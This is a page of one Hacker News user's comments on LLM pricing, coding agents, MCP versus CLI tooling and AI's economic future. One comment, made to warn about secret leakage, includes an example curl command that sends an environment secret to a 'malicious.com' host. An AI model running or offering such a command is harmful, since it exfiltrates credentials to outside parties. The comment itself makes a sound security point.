HNHacker News
TopNewBestAskShowJobs

crazylogger

277 karma · joined May 3, 2022

submissionscomments
crazylogger··on DeepSeek v4
I haven't seen anyone claiming that API prices are subsidized.

At some point (from the very beginning till ~2025Q4) Claude Code's usage limit was so generous that you can get roughly $10~20 (API-price-equivalent) worth of usage out of a $20/mo Pro plan each day (2 * 5h window) - and for good reason, because LLM agentic coding is extremely token-heavy, people simply wouldn't return to Claude Code for the second time if provided usage wasn't generous or every prompt costs you $1. And then Codex started trying to poach Claude Code users by offering even greater limits and constantly resetting everyone's limit in recent months. The API price would have to be 30x operating cost to make this not a subsidy. That would be an extraordinary claim.

crazylogger··on DeepSeek v4
Training data == source code, training algorithm == compiler, model weights == compiled binary.
crazylogger··on Sam Altman may control our future – can he be trusted?
If all they do is "just" brute-force problem solving, then they are already bound to take over R&D & other knowledge work and exponentially accelerate progress, i.e. the SciFi "singularity" BS ends up happening all the same. Whether we classify them as true reasoning is just semantics.
crazylogger··on Claude Code's source code has been leaked via a map file in their NPM registry
Why would this be in the client code though?
crazylogger··on Improving Composer through real-time RL
This feels so wrong. the LLM should play the role of a very general (but empty & un-opinionated) brain - you don’t want to perform a coding-specific lobotomy on someone every day. The proper target of their RL should have been their harness. That’s what determines the agent's trajectory as much as the base model.

I also wonder since they’re doing constant RL on model weights with today's Cursor design, does that mean they can never change their system prompt & other parts of the harness?

1) Comparison between past trajectories data would be meaningless if they were operating under different instructions.

2) Performance will be terrible the next time they change their tool design, since the model is now "opinionated" based on how a previous version of Cursor was designed.

Anthropic is more sensible with their “constitution” approach to safety. The behaviors (and ultimately the values) you want your model to follow should be a document, not a lobotomy.

crazylogger··on When does MCP make sense vs CLI?
MCP solves a very specific problem: how do you ship a LLM’s tool/function so that it is callable by an LLM in an inter-process manner (so that you don’t need to modify OpenAI’s code to make your tool available in ChatGPT)? CLIs concern what happens inside such tools, namely a `bash` tool. As you can see they are different layers of the same stack.

> LLMs don’t need a special protocol ... LLMs are really good at using command-line tools.

The author's point only makes sense if LLMs all have a computer built-in - they don't. LLMs will only have a commandline if it is provided with commandline tools, and MCP is the standard way to provide tools.

If I have to find an analogy for this (nonsensical) MCP vs. CLI framing, it's like someone saying “ditch the browser, use html instead” - what is that supposed to mean?

crazylogger··on Making MCP cheaper via CLI
Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods possible), how do you plan on telling these apart from normal computer use?

Prior art: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/

crazylogger··on Making MCP cheaper via CLI
Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs.

MCP is a thin toolcall auth layer that has to be there so that ChatGPT and claude.ai can "connect to your Slack", etc.

crazylogger··on A16z partner says that the theory that we’ll vibe code everything is wrong
Money is useful mostly for hiring human labor to outcompete others, e.g. Satya Nadella has 100K employees under his command, you don't, so you can't realistically compete with MS today - this is their main moat.

If AI renders human labor a cheap commodity (say you can orchestrate a bunch of agents to develop + market a Windows competitor for $1000 of compute), what used to be "Satya + his army vs. you" now becomes mostly a 1:1 fair fight, which favors the startup.

crazylogger··on Code is cheap. Show me the talk
You are describing tradition (deterministic?) automation before AI. With AI systems as general as today's SOTA LLMs, they'll happily take on the job regardless of the task falling into class I or class II.

Ask a robot arm "how should we improve our car design this year", it'll certainly get stuck. Ask an AI, it'll give you a real opinion that's at least on par with a human's opinion. If a company builds enough tooling to complete the "AI comes up with idea -> AI designs prototype -> AI robot physically builds the car -> AI robot test drives the car -> AI evaluates all prototypes and confirms next year's design" feedback loop, then theoretically this definitely can work.

This is why AI is seen as such a big deal - it's fundamentally different from all previous technologies. To an AI, there is no line that would distinguish class I from II.

crazylogger··on TimeCapsuleLLM: LLM trained only on data from 1800-1875
Or maybe, LLMs are pioneering scientific advancements - people are using LLMs to read papers, choose what problems to work on, come up with experiments, analyze results, and draft papers, etc., at this very moment. Except they eventually stick their human names on the cover so we almost never know.
crazylogger··on Claude Code CLI was broken
Proper vibe coding should involves tons of vibe refactoring.

I'd say spending at least a quarter of my vibe coding time on refactoring + documentation refresh to ensure the codebase looking impeccable is the only way my projects can work at all long term. We don't want to confuse the coding agent.

crazylogger··on GPT-5.2-Codex
From a couple hours of usage in the CLI, 5.2-codex seems to burn through my plan's limit noticeably faster than 5.1-codex. So I guess the usage limit is a set dollar amount of API credits under the hood.
crazylogger··on Structured outputs on the Claude Developer Platform
The way you get structured output with Claude prior to this is via tool use.

IMO this was the more elegant design if you think about it: tool calling is really just structured output and structured output is tool calling. The "do not provide multiple ways of doing the same thing" philosophy.

crazylogger··on GPT-5-Codex-Mini – A more compact and cost-efficient version of GPT-5-Codex
This is just personal experience + reddit anecdotes. I've been using CC from day one (when API pricing was the only way to pay for CC), then I've been on the $20 Pro plan and am getting a solid $5+ worth of usage in each 5h session, times 5-10 sessions per week (so an overall 5-10x subsidy over one month.) And I extrapolated that $200 subscribers must be getting roughly 10x Pro's usage. I do feel the actual limit fluctuates each week as Claude Code engage in this new subsidy war with OAI Codex though.

My theory is this:

- we know from benchmarks that open-weight models like Deepseek R1 and Kimi K2's capabilities are not far behind SOTA GPT/Claude

- open-weight API pricing (e.g. on openrouter) is roughly 1/10~1/5 that of GPT/Claude

- users can more or less choose to hook their agent CLI/IDEs to either closed or open models

If these points are true, then the only reason people are primarily on CC & Codex plans is because they are subsidized by at least 5~10x. When confronted with true costs, users will quickly switch to the lowest inference cost vendor, and we get perfect competition + zero margin for all vendors.

crazylogger··on GPT-5-Codex-Mini – A more compact and cost-efficient version of GPT-5-Codex
Anecdotally, a Max subscriber gets something like $100 worth of usage per day. The more people use Claude Code, the more Anthropic loses, so it sounds like a classical "selling a dollar for 85 cents" business to me.

As soon as users are confronted with their true API cost, the appearance of this being a good business falls apart. At the end of the day, there is no moat around large language models - OpenAI, Anthropic, Google, DeepSeek, Alibaba, Moonshot... any company can make a SOTA model if they wish, so in the long run it's guaranteed to be a race to the bottom where nobody can turn a profit.

crazylogger··on Show HN: Sosumi.ai – Convert Apple Developer docs to AI-readable Markdown
https://pure.md is exactly what you're looking for.

But stripping complex formats like html & pdf down to simple markdown is a hard problem. It's nearly impossible to infer what the rendered page looks like by looking at the raw html / pdf code. https://github.com/mozilla/readability helps but it often breaks down over unconventional div structures. I heard the state of the art solution is using multimodal LLM OCR to really look at the rendered page and rewrite the thing in markdown.

Which makes me wonder: how did OpenAI make their model read pdf, docx and images at all?

crazylogger··on AGI is an engineering problem, not a model training problem
I think the OP's point is that all those requirements are to be implemented outside the LLM layer, i.e. we don't need to conceive of any new model architecture. Even if LLMs don't progress any further beyond GPT-5 & Claude 4, we'll still get there.

Take memory for example: give LLM a persistent computer and ask it to jot down its long-term memory as hierarchical directories of markdown documents. Recalling a piece of memory means a bunch of `tree` and `grep` commands. It's very, very rudimentary, but it kinda works, today. We just have to think of incrementally smarter ways to query & maintain this type of memory repo, which is a pure engineering problem.

crazylogger··on AGENTS.md – Open format for guiding coding agents
We have CONTRIBUTING.md for that. Seems to me the author just doesn't know about it?
crazylogger··on Model intelligence is no longer the constraint for automation
Today’s AI systems probably won’t excel, but they won’t completely fail either.

Basically give the LLM a computer to do all kinds of stuff against the real world, kick it off with a high level goal like “build a startup”.

The key is to instruct it to manage its own memory in its computer, and when context limit inevitably approaches, programmatically interrupt the LLM loop and instruct it to jot down everything it has for its future self.

It already kinda works today, and I believe AI systems a year from now will excel at this:

https://dwyer.co.za/static/claude-code-is-all-you-need.html

https://www.anthropic.com/research/project-vend-1

crazylogger··on GPT-5
Yes, number-wise the wealth gap between the top and median is bigger than ever, but the actual quality-of-life difference has never been smaller — Elon and I probably both use an iPhone, wear similar T-shirts, mostly eat the same kind of food, get our information & entertainment from Google/ChatGPT/Youtube/X.

I fully expect the distribution to be even more extreme in an ultra-productive AI future, yet nonetheless, the bottom 50% would have their every need met in the same manner that Elon has his. If you ever want anything or have something more ambitious in mind, say, start a company to build something no one’s thought of — you’d just call a robot to do it. And because the robots are themselves developed and maintained by an all-robot company, it costs nobody anything to provide this AGI robot service to everyone.

A Google-like information query would have been unimaginably costly to execute a hundred years ago, and here we are, it’s totally free because running Google is so automated. Rich people don't even get a better Google just because they are willing to pay - everybody gets the best stuff when the best stuff costs 0 anyway.

crazylogger··on GPT-5
As long as we have a free market, nobody gets to say, “No, you shouldn’t have robots freeing you from work.”

Individual people will decide what they want to build, with whatever tools they have. If AI tools become powerful enough that one-person companies can build serious products, I bet there will be thousands of those companies taking a swing at the “next big thing” like humanoid robots. It’s a matter of time those problems all get solved.

crazylogger··on GPT-5
AI services are widely available, and humans have agency. If my boss can outsource everything to AI and run a one-person company, soon everyone will be running their own one-person companies to compete. If OpenAI refuses to sell me AI, I’ll turn to Anthropic, DeepSeek, etc.

AI is raising individual capability to a level that once required a full team. I believe it’s fundamentally a democratizing force rather than monopolizing. Everybody will try and get the most value out of AI, nobody holds the power to decide whether to share or not.

crazylogger··on GPT-5
My view is AGI will dramatically reduce cost of R&D in general, then developing humanoid robot will be an easy task - since it's all AI systems who will be doing the development.
crazylogger··on GPT-5
I wouldn’t worry about job safety when we have such utopian vision as the elimination of all human labor in our sight.

Not only will AI run the company, it will run the world. Remember: a product/service only costs money because somewhere down the assembly line or in some office, there are human workers who need to feed their family. If AI can help gradually reduce human involvement to 0, with good market competition (AI can help with this too - if AI can be capable CEOs, starting your business will be insanely easy,) and we’ll get near absolute abundance. Then humanity will be basically printing any product & service on demand at 0 cost like how we print money today.

I wouldn’t even worry about unequal distribution of wealth, because with absolute abundance, any piece of the pie is an infinitely large pie. Still think the world isn’t perfect in that future? Just one prompt, and the robot army will do whatever it takes to fix it for you.

crazylogger··on Typed languages are better suited for vibecoding
> When it’s able to create code that compiles, the code is invariably inefficient and ugly.

At the end of the day this is a trivial problem. When Claude Code finishes a commit, just spin up another Claude Code instance and say "run a git diff, find and fix inefficient and ugly code, and make sure it still compiles."

crazylogger··on Visa and Mastercard: The global payment duopoly (2024)
If payments are always approved by the payer with their PIN / FaceID, then the idea of a fraudulent charge is just undefined.

Like you hand cash to someone. The transaction is done at the moment money changes hand. You don't get to call someone to snatch the money back to you against the payee's will.

For online purchase, for example, buyer pays the marketplace (e.g. taobao.com) to temporarily hold the money -> seller ships the goods -> buyer confirms goods are received -> marketplace pays seller. If there is a question, you take it to the marketplace to sort things out according to marketplace & seller policy. Either way, the payment provider doesn't concern itself with any of this - it only routes money according to payer's request.

crazylogger··on Tough news for our UK users
Circumvention means you're following the law after all, i.e. you're circumventing, not breaking it.

Every other Youtuber these days is thanking NordVPN for sponsoring their channel then proceeds to walk through specifically how to use it to view geoblocked Netflix content, and they (and NordVPN!) are fine.

crazylogger··on Ask HN: What Pocket alternatives did you move to?
https://cubox.cc

The greatest feature is that it limits you to 200 items saved on free tier.

I also use https://github.com/yfzhou0904/go-to-kindle to email articles to kindle for reading on the go.

crazylogger··on Cognition (Devin AI) to Acquire Windsurf
Depends a lot on the way people use them.

If you discusses a plan with CC well upfront, covering all integration points where things might go off rail, perhaps checkpoint the plan in a file then start a fresh CC session for coding, then CC is usually going to one shot a 2k-LoC feature uninterrupted, which is very token efficient.

If the plan is not crystal clear, people end up arguing with CC over this and that. Token usage will be bad.

← PreviousPage 2 of 3Next →